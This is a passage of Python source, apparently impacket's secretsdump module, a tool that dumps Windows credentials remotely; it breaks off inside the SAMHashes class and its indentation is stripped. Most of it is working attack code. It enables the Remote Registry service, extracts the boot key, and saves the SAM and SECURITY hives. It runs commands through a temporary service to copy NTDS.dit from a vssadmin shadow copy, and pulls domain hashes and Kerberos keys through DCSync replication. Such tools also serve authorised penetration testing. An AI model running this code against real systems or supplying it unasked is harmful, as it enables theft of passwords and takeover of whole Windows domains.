# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Performs various techniques to dump hashes from the
# remote machine without executing any agent there.
# For SAM and LSA Secrets (including cached creds)
# we try to read as much as we can from the registry
# and then we save the hives in the target system
# (%SYSTEMROOT%\\Temp dir) and read the rest of the
# data from there.
# For NTDS.dit we either:
# a. Get the domain users list and get its hashes
# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
# call, replicating just the attributes we need.
# b. Extract NTDS.dit via vssadmin executed with the
# smbexec approach.
# It's copied on the temp dir and parsed remotely.
#
# The script initiates the services required for its working
# if they are not available (e.g. Remote Registry, even if it is
# disabled). After the work is done, things are restored to the
# original state.
#
# Author:
# Alberto Solino (@agsolino)
#
# References: Most of the work done by these guys. I just put all
# the pieces together, plus some extra magic.
#
# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
# http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
# http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
# http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
# http://www.quarkslab.com/en-blog+read+13
# https://code.google.com/p/creddump/
# http://lab.mediaservice.net/code/cachedump.rb
# http://insecurety.net/?p=768
# http://www.beginningtoseethelight.org/ntsecurity/index.htm
# http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf
# http://www.passcape.com/index.php?section=blog&cmd=details&id=15
#
import codecs
import hashlib
import logging
import ntpath
import os
import random
import string
import time
from binascii import unhexlify, hexlify
from collections import OrderedDict
from datetime import datetime
from struct import unpack, pack
from impacket import LOG
from impacket import system_errors
from impacket import winregistry, ntlm
from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.ese import ESENT_DB
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.structure import Structure
from impacket.winregistry import hexdump
from impacket.uuid import string_to_bin
try:
from Crypto.Cipher import DES, ARC4, AES
from Crypto.Hash import HMAC, MD4
except ImportError:
LOG.critical("Warning: You don't have any crypto installed. You need PyCrypto")
LOG.critical("See http://www.pycrypto.org/")
# Structures
# Taken from http://insecurety.net/?p=768
class SAM_KEY_DATA(Structure):
structure = (
('Revision','<L=0'),
('Length','<L=0'),
('Salt','16s=""'),
('Key','16s=""'),
('CheckSum','16s=""'),
('Reserved','<Q=0'),
)
class DOMAIN_ACCOUNT_F(Structure):
structure = (
('Revision','<L=0'),
('Unknown','<L=0'),
('CreationTime','<Q=0'),
('DomainModifiedCount','<Q=0'),
('MaxPasswordAge','<Q=0'),
('MinPasswordAge','<Q=0'),
('ForceLogoff','<Q=0'),
('LockoutDuration','<Q=0'),
('LockoutObservationWindow','<Q=0'),
('ModifiedCountAtLastPromotion','<Q=0'),
('NextRid','<L=0'),
('PasswordProperties','<L=0'),
('MinPasswordLength','<H=0'),
('PasswordHistoryLength','<H=0'),
('LockoutThreshold','<H=0'),
('Unknown2','<H=0'),
('ServerState','<L=0'),
('ServerRole','<H=0'),
('UasCompatibilityRequired','<H=0'),
('Unknown3','<Q=0'),
('Key0',':', SAM_KEY_DATA),
# Commenting this, not needed and not present on Windows 2000 SP0
# ('Key1',':', SAM_KEY_DATA),
# ('Unknown4','<L=0'),
)
# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
class USER_ACCOUNT_V(Structure):
structure = (
('Unknown','12s=""'),
('NameOffset','<L=0'),
('NameLength','<L=0'),
('Unknown2','<L=0'),
('FullNameOffset','<L=0'),
('FullNameLength','<L=0'),
('Unknown3','<L=0'),
('CommentOffset','<L=0'),
('CommentLength','<L=0'),
('Unknown3','<L=0'),
('UserCommentOffset','<L=0'),
('UserCommentLength','<L=0'),
('Unknown4','<L=0'),
('Unknown5','12s=""'),
('HomeDirOffset','<L=0'),
('HomeDirLength','<L=0'),
('Unknown6','<L=0'),
('HomeDirConnectOffset','<L=0'),
('HomeDirConnectLength','<L=0'),
('Unknown7','<L=0'),
('ScriptPathOffset','<L=0'),
('ScriptPathLength','<L=0'),
('Unknown8','<L=0'),
('ProfilePathOffset','<L=0'),
('ProfilePathLength','<L=0'),
('Unknown9','<L=0'),
('WorkstationsOffset','<L=0'),
('WorkstationsLength','<L=0'),
('Unknown10','<L=0'),
('HoursAllowedOffset','<L=0'),
('HoursAllowedLength','<L=0'),
('Unknown11','<L=0'),
('Unknown12','12s=""'),
('LMHashOffset','<L=0'),
('LMHashLength','<L=0'),
('Unknown13','<L=0'),
('NTHashOffset','<L=0'),
('NTHashLength','<L=0'),
('Unknown14','<L=0'),
('Unknown15','24s=""'),
('Data',':=""'),
)
class NL_RECORD(Structure):
structure = (
('UserLength','<H=0'),
('DomainNameLength','<H=0'),
('EffectiveNameLength','<H=0'),
('FullNameLength','<H=0'),
('MetaData','52s=""'),
('FullDomainLength','<H=0'),
('Length2','<H=0'),
('CH','16s=""'),
('T','16s=""'),
('EncryptedData',':'),
)
class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
structure = (
('Value','6s'),
)
class SAMR_RPC_SID(Structure):
structure = (
('Revision','<B'),
('SubAuthorityCount','<B'),
('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
('SubAuthority',':'),
)
def formatCanonical(self):
ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5]))
for i in range(self['SubAuthorityCount']):
ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
return ans
class LSA_SECRET_BLOB(Structure):
structure = (
('Length','<L=0'),
('Unknown','12s=""'),
('_Secret','_-Secret','self["Length"]'),
('Secret',':'),
('Remaining',':'),
)
class LSA_SECRET(Structure):
structure = (
('Version','<L=0'),
('EncKeyID','16s=""'),
('EncAlgorithm','<L=0'),
('Flags','<L=0'),
('EncryptedData',':'),
)
class LSA_SECRET_XP(Structure):
structure = (
('Length','<L=0'),
('Version','<L=0'),
('_Secret','_-Secret', 'self["Length"]'),
('Secret', ':'),
)
# Classes
class RemoteFile:
def __init__(self, smbConnection, fileName):
self.__smbConnection = smbConnection
self.__fileName = fileName
self.__tid = self.__smbConnection.connectTree('ADMIN$')
self.__fid = None
self.__currentOffset = 0
def open(self):
self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName)
def seek(self, offset, whence):
# Implement whence, for now it's always from the beginning of the file
if whence == 0:
self.__currentOffset = offset
def read(self, bytesToRead):
if bytesToRead > 0:
data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
self.__currentOffset += len(data)
return data
return ''
def close(self):
if self.__fid is not None:
self.__smbConnection.closeFile(self.__tid, self.__fid)
self.__smbConnection.deleteFile('ADMIN$', self.__fileName)
self.__fid = None
def tell(self):
return self.__currentOffset
def __str__(self):
return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)
class RemoteOperations:
def __init__(self, smbConnection, doKerberos, kdcHost=None):
self.__smbConnection = smbConnection
if self.__smbConnection is not None:
self.__smbConnection.setTimeout(5*60)
self.__serviceName = 'RemoteRegistry'
self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
self.__rrp = None
self.__regHandle = None
self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
self.__samr = None
self.__domainHandle = None
self.__domainName = None
self.__drsr = None
self.__hDrs = None
self.__NtdsDsaObjectGuid = None
self.__ppartialAttrSet = None
self.__prefixTable = []
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__bootKey = ''
self.__disabled = False
self.__shouldStop = False
self.__started = False
self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
self.__scmr = None
self.__tmpServiceName = None
self.__serviceDeleted = False
self.__batchFile = '%TEMP%\\execute.bat'
self.__shell = '%COMSPEC% /Q /c '
self.__output = '%SYSTEMROOT%\\Temp\\__output'
self.__answerTMP = ''
def __connectSvcCtl(self):
rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
rpc.set_smb_connection(self.__smbConnection)
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
def __connectWinReg(self):
rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
rpc.set_smb_connection(self.__smbConnection)
self.__rrp = rpc.get_dce_rpc()
self.__rrp.connect()
self.__rrp.bind(rrp.MSRPC_UUID_RRP)
def connectSamr(self, domain):
rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
rpc.set_smb_connection(self.__smbConnection)
self.__samr = rpc.get_dce_rpc()
self.__samr.connect()
self.__samr.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrConnect(self.__samr)
serverHandle = resp['ServerHandle']
resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
self.__domainHandle = resp['DomainHandle']
self.__domainName = domain
def __connectDrds(self):
stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
protocol='ncacn_ip_tcp')
rpc = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpc, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpc.set_credentials(*(self.__smbConnection.getCredentials()))
rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
self.__drsr = rpc.get_dce_rpc()
self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if self.__doKerberos:
self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.__drsr.connect()
self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
if self.__domainName is None:
# Get domain name from credentials cached
self.__domainName = rpc.get_credentials()[2]
request = drsuapi.DRSBind()
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
drs = drsuapi.DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) #- 4
drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
drsuapi.DRS_EXT_STRONG_ENCRYPTION
drs['SiteObjGuid'] = drsuapi.NULLGUID
drs['Pid'] = 0
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = 0
drs['ConfigObjGUID'] = drsuapi.NULLGUID
# I'm uber potential (c) Ben
drs['dwExtCaps'] = 0xffffffff
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = self.__drsr.request(request)
if logging.getLogger().level == logging.DEBUG:
LOG.debug('DRSBind() answer')
resp.dump()
# Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
# DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
# If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
ppextServer = ''.join(resp['ppextServer']['rgb']) + '\x00' * (
len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
drsExtensionsInt.fromString(ppextServer)
if drsExtensionsInt['dwReplEpoch'] != 0:
# Different epoch, we have to call DRSBind again
if logging.getLogger().level == logging.DEBUG:
LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
'dwReplEpoch'])
drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = self.__drsr.request(request)
self.__hDrs = resp['phDrs']
# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
if logging.getLogger().level == logging.DEBUG:
LOG.debug('DRSDomainControllerInfo() answer')
resp.dump()
if resp['pmsgOut']['V2']['cItems'] > 0:
self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
else:
LOG.error("Couldn't get DC info for domain %s" % self.__domainName)
raise Exception('Fatal, aborting')
def getDrsr(self):
return self.__drsr
def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
if self.__drsr is None:
self.__connectDrds()
LOG.debug('Calling DRSCrackNames for %s ' % name)
resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
return resp
def DRSGetNCChanges(self, userEntry):
if self.__drsr is None:
self.__connectDrds()
LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry)
request = drsuapi.DRSGetNCChanges()
request['hDrs'] = self.__hDrs
request['dwInVersion'] = 8
request['pmsgIn']['tag'] = 8
request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
dsName = drsuapi.DSNAME()
dsName['SidLen'] = 0
dsName['Guid'] = string_to_bin(userEntry[1:-1])
dsName['Sid'] = ''
dsName['NameLen'] = 0
dsName['StringName'] = ('\x00')
dsName['structLen'] = len(dsName.getData())
request['pmsgIn']['V8']['pNC'] = dsName
request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
request['pmsgIn']['V8']['cMaxObjects'] = 1
request['pmsgIn']['V8']['cMaxBytes'] = 0
request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
if self.__ppartialAttrSet is None:
self.__prefixTable = []
self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
self.__ppartialAttrSet['dwVersion'] = 1
self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
for attId in NTDSHashes.ATTRTYP_TO_ATTID.values():
self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
return self.__drsr.request(request)
def getDomainUsers(self, enumerationContext=0):
if self.__samr is None:
self.connectSamr(self.getMachineNameAndDomain()[1])
try:
resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
userAccountControl=samr.USER_NORMAL_ACCOUNT | \
samr.USER_WORKSTATION_TRUST_ACCOUNT | \
samr.USER_SERVER_TRUST_ACCOUNT |\
samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
enumerationContext=enumerationContext)
except DCERPCException, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp = e.get_packet()
return resp
def ridToSid(self, rid):
if self.__samr is None:
self.connectSamr(self.getMachineNameAndDomain()[1])
resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid)
return resp['Sid']
def getMachineNameAndDomain(self):
if self.__smbConnection.getServerName() == '':
# No serverName.. this is either because we're doing Kerberos
# or not receiving that data during the login process.
# Let's try getting it through RPC
rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
rpc.set_smb_connection(self.__smbConnection)
dce = rpc.get_dce_rpc()
dce.connect()
dce.bind(wkst.MSRPC_UUID_WKST)
resp = wkst.hNetrWkstaGetInfo(dce, 100)
dce.disconnect()
return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][
'wki100_langroup'][:-1]
else:
return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
def getDefaultLoginAccount(self):
try:
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
keyHandle = ans['phkResult']
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
username = dataValue[:-1]
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
domain = dataValue[:-1]
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
if len(domain) > 0:
return '%s\\%s' % (domain,username)
else:
return username
except:
return None
def getServiceAccount(self, serviceName):
try:
# Open the service
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
serviceHandle = ans['lpServiceHandle']
resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
if account.startswith('.\\'):
account = account[2:]
return account
except Exception, e:
LOG.error(e)
return None
def __checkServiceStatus(self):
# Open SC Manager
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']
# Now let's open the service
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
self.__serviceHandle = ans['lpServiceHandle']
# Let's check its status
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
LOG.info('Service %s is in stopped state'% self.__serviceName)
self.__shouldStop = True
self.__started = False
elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
LOG.debug('Service %s is already running'% self.__serviceName)
self.__shouldStop = False
self.__started = True
else:
raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
# Let's check its configuration if service is stopped, maybe it's disabled :s
if self.__started is False:
ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
if ans['lpServiceConfig']['dwStartType'] == 0x4:
LOG.info('Service %s is disabled, enabling it'% self.__serviceName)
self.__disabled = True
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
LOG.info('Starting service %s' % self.__serviceName)
scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
time.sleep(1)
def enableRegistry(self):
self.__connectSvcCtl()
self.__checkServiceStatus()
self.__connectWinReg()
def __restore(self):
# First of all stop the service if it was originally stopped
if self.__shouldStop is True:
LOG.info('Stopping service %s' % self.__serviceName)
scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
if self.__disabled is True:
LOG.info('Restoring the disabled state for service %s' % self.__serviceName)
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
if self.__serviceDeleted is False:
# Check again the service we created does not exist, starting a new connection
# Why?.. Hitting CTRL+C might break the whole existing DCE connection
try:
rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
if hasattr(rpc, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpc.set_credentials(*self.__smbConnection.getCredentials())
rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
# Open SC Manager
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']
# Now let's open the service
resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
rpc.disconnect()
except Exception, e:
# If service is stopped it'll trigger an exception
# If service does not exist it'll trigger an exception
# So. we just wanna be sure we delete it, no need to
# show this exception message
pass
def finish(self):
self.__restore()
if self.__rrp is not None:
self.__rrp.disconnect()
if self.__drsr is not None:
self.__drsr.disconnect()
if self.__samr is not None:
self.__samr.disconnect()
if self.__scmr is not None:
try:
self.__scmr.disconnect()
except Exception, e:
if str(e).find('STATUS_INVALID_PARAMETER') >=0:
pass
else:
raise
def getBootKey(self):
bootKey = ''
ans = rrp.hOpenLocalMachine(self.__rrp)
self.__regHandle = ans['phKey']
for key in ['JD','Skew1','GBG','Data']:
LOG.debug('Retrieving class info for %s'% key)
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
keyHandle = ans['phkResult']
ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
bootKey = bootKey + ans['lpClassOut'][:-1]
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
bootKey = unhexlify(bootKey)
for i in xrange(len(bootKey)):
self.__bootKey += bootKey[transforms[i]]
LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey))
return self.__bootKey
def checkNoLMHashPolicy(self):
LOG.debug('Checking NoLMHash Policy')
ans = rrp.hOpenLocalMachine(self.__rrp)
self.__regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
keyHandle = ans['phkResult']
try:
dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
except:
noLMHash = 0
if noLMHash != 1:
LOG.debug('LMHashes are being stored')
return False
LOG.debug('LMHashes are NOT being stored')
return True
def __retrieveHive(self, hiveName):
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
ans = rrp.hOpenLocalMachine(self.__rrp)
regHandle = ans['phKey']
try:
ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
except:
raise Exception("Can't open %s hive" % hiveName)
keyHandle = ans['phkResult']
rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
# Now let's open the remote file, so it can be read later
remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
return remoteFileName
def saveSAM(self):
LOG.debug('Saving remote SAM database')
return self.__retrieveHive('SAM')
def saveSECURITY(self):
LOG.debug('Saving remote SECURITY database')
return self.__retrieveHive('SECURITY')
def __executeRemote(self, data):
self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \
self.__shell + self.__batchFile
command += ' & ' + 'del ' + self.__batchFile
self.__serviceDeleted = False
resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,
lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
self.__serviceDeleted = True
scmr.hRCloseServiceHandle(self.__scmr, service)
def __answer(self, data):
self.__answerTMP += data
def __getLastVSS(self):
self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
time.sleep(5)
tries = 0
while True:
try:
self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
break
except Exception, e:
if tries > 30:
# We give up
raise Exception('Too many tries trying to list vss shadows')
if str(e).find('SHARING') > 0:
# Stuff didn't finish yet.. wait more
time.sleep(5)
tries +=1
pass
else:
raise
lines = self.__answerTMP.split('\n')
lastShadow = ''
lastShadowFor = ''
# Let's find the last one
# The string used to search the shadow for drive. Wondering what happens
# in other languages
SHADOWFOR = 'Volume: ('
for line in lines:
if line.find('GLOBALROOT') > 0:
lastShadow = line[line.find('\\\\?'):][:-1]
elif line.find(SHADOWFOR) > 0:
lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
return lastShadow, lastShadowFor
def saveNTDS(self):
LOG.info('Searching for NTDS.dit')
# First of all, let's try to read the target NTDS.dit registry entry
ans = rrp.hOpenLocalMachine(self.__rrp)
regHandle = ans['phKey']
try:
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
keyHandle = ans['phkResult']
except:
# Can't open the registry path, assuming no NTDS on the other end
return None
try:
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
ntdsLocation = dataValue[:-1]
ntdsDrive = ntdsLocation[:2]
except:
# Can't open the registry path, assuming no NTDS on the other end
return None
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
# Get the list of remote shadows
shadow, shadowFor = self.__getLastVSS()
if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
# No shadow, create one
self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
shadow, shadowFor = self.__getLastVSS()
shouldRemove = True
if shadow == '':
raise Exception('Could not get a VSS')
else:
shouldRemove = False
# Now copy the ntds.dit to the temp directory
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
if shouldRemove is True:
self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
return remoteFileName
class CryptoCommon:
# Common crypto stuff used over different classes
def transformKey(self, InputKey):
# Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key
OutputKey = []
OutputKey.append( chr(ord(InputKey[0]) >> 0x01) )
OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )
for i in range(8):
OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
return "".join(OutputKey)
def deriveKey(self, baseKey):
# 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
# Let I be the little-endian, unsigned integer.
# Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
# Note that because I is in little-endian byte order, I[0] is the least significant byte.
# Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
# Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
key = pack('<L',baseKey)
key1 = key[0] + key[1] + key[2] + key[3] + key[0] + key[1] + key[2]
key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1]
return self.transformKey(key1),self.transformKey(key2)
@staticmethod
def decryptAES(key, value, iv='\x00'*16):
plainText = ''
if iv != '\x00'*16:
aes256 = AES.new(key,AES.MODE_CBC, iv)
for index in range(0, len(value), 16):
if iv == '\x00'*16:
aes256 = AES.new(key,AES.MODE_CBC, iv)
cipherBuffer = value[index:index+16]
# Pad buffer to 16 bytes
if len(cipherBuffer) < 16:
cipherBuffer += '\x00' * (16-len(cipherBuffer))
plainText += aes256.decrypt(cipherBuffer)
return plainText
class OfflineRegistry:
def __init__(self, hiveFile = None, isRemote = False):
self.__hiveFile = hiveFile
if self.__hiveFile is not None:
self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)
def enumKey(self, searchKey):
parentKey = self.__registryHive.findKey(searchKey)
if parentKey is None:
return
keys = self.__registryHive.enumKey(parentKey)
return keys
def enumValues(self, searchKey):
key = self.__registryHive.findKey(searchKey)
if key is None:
return
values = self.__registryHive.enumValues(key)
return values
def getValue(self, keyValue):
value = self.__registryHive.getValue(keyValue)
if value is None:
return
return value
def getClass(self, className):
value = self.__registryHive.getClass(className)
if value is None:
return
return value
def finish(self):
if self.__hiveFile is not None:
# Remove temp file and whatever else is needed
self.__registryHive.close()
class SAMHashes(OfflineRegistry):
def __init__(self, samFile, bootKey, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)):
OfflineRegistry.__init__(self, samFile, isRemote)
self.__samFile = samFile
self.__hashedBootKey = ''
self.__bootKey = bootKey
